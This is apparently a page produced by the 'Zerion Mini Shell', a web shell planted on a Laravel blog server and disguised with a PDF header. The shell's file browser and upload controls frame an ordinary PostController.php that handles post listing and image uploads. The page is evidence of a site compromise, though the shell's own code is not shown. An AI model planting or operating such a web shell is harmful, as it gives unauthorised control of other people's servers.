%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/evablog/app/Http/Controllers/
Upload File :
Create Path :
Current File : /var/www/html/evablog/app/Http/Controllers/PostController.php

<?php

namespace App\Http\Controllers;

use App\Models\Category;
use App\Models\Post;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Spatie\Image\Image;
use Spatie\MediaLibrary\Models\Media;

class PostController extends Controller
{
    /**
     * Show the application dashboard.
     *
     * @param Request $request
     * @return \Illuminate\Http\Response
     */
    public function index(Request $request)
    {
        $posts = Post::query();

        if ($request->title) {
            $posts = $posts->where('title', 'like', "%{$request->title}%");
        }

        if ($cat = $request->category_id) {
            $posts = $posts->whereHas('categories', function ($query) use ($cat) {
                $query->where('category_id', $cat);
            });
        }

        return view('posts', [
            'posts'      => $posts->paginate(10),
            'categories' => Category::all(),
            'params'     => $request->all()
        ]);
    }

    public function show($post)
    {
        /** @var Post $post */
        $post = Post::query()->find($post);

        if (!$post) {
            $post = new Post();
        }

        return view('post', [
            'post' => $post,
            'id'   => $post->id
                ?: 'new',
        ]);
    }

    /**
     * @param Request $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function createOrUpdate(Request $request, $id)
    {
        /** @var Post $post */
        $post = Post::query()->find($id);
        $rules = [
            'title'       => 'required|string',
            'description' => 'required|string',
            'media'       => 'required|image',
        ];
        $this->validate($request, $rules);
        DB::beginTransaction();
        try {
            if ($post) {
                $post->update($request->all());
                $post->media()->get()->each(function ($media) {
                    /** @var Media $media */
                    Storage::disk('posts')->delete($media->name);
                    $media->delete();
                });
            } else {
                $post = Post::query()->create($request->all());
            }
            $file = $request->file('media');
            $tmp = Storage::disk('tmp')->put('posts', $file);
            $destination = public_path("tmp/$tmp");
            Image::load($destination)->width(720)->save($destination);
            $post->addMedia($destination)->toMediaCollection(Post::MEDIA_LIBRARY, Post::MEDIA_LIBRARY);
            Storage::disk('tmp')->delete($destination);
            DB::commit();
            if ($id === 'new') {
                return redirect(route('dashboard.posts.details', $post->fresh()->id));
            }
            return redirect(route('dashboard.posts'));
        } catch (\Exception $exception) {
            DB::rollback();
            return redirect(route('dashboard.posts.details', $post->id));
        }
    }

}

Zerion Mini Shell 1.0